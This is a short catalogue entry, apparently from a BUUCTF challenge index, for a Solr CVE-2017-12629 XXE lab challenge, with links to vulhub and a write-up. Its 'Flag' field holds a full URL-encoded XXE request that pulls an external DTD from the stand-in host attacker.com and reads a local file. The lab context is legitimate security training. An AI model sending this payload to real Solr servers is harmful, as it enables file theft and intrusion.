[Solr]CVE-2017-12629-XXE
| ID： | 7437 |
|---|---|
| 标题： | [Solr]CVE-2017-12629-XXE |
| 描述： | https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE |
| 类型： | Real |
| 网站： | BUUCTF |
| 题目链接： | https://buuoj.cn/challenges#[Solr]CVE-2017-12629-XXE |
| 赛事： | Solr |
| 年度： | None |
| Flag值： | POST /solr/demo/select?wt=xml&defType=xmlparser&q=%3C%3Fxml+version%3D%221.0%22+%3F%3E%3C!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+%22http://attacker.com/poc.dtd%22>%25remote%3B+<!ENTITY+data+SYSTEM+%22file:///flag%22>%3Croot%3E%26data%3B%3C%2Froot%3E |
| writeup： | https://blog.csdn.net/weixin_44193247/article/details/122903550 |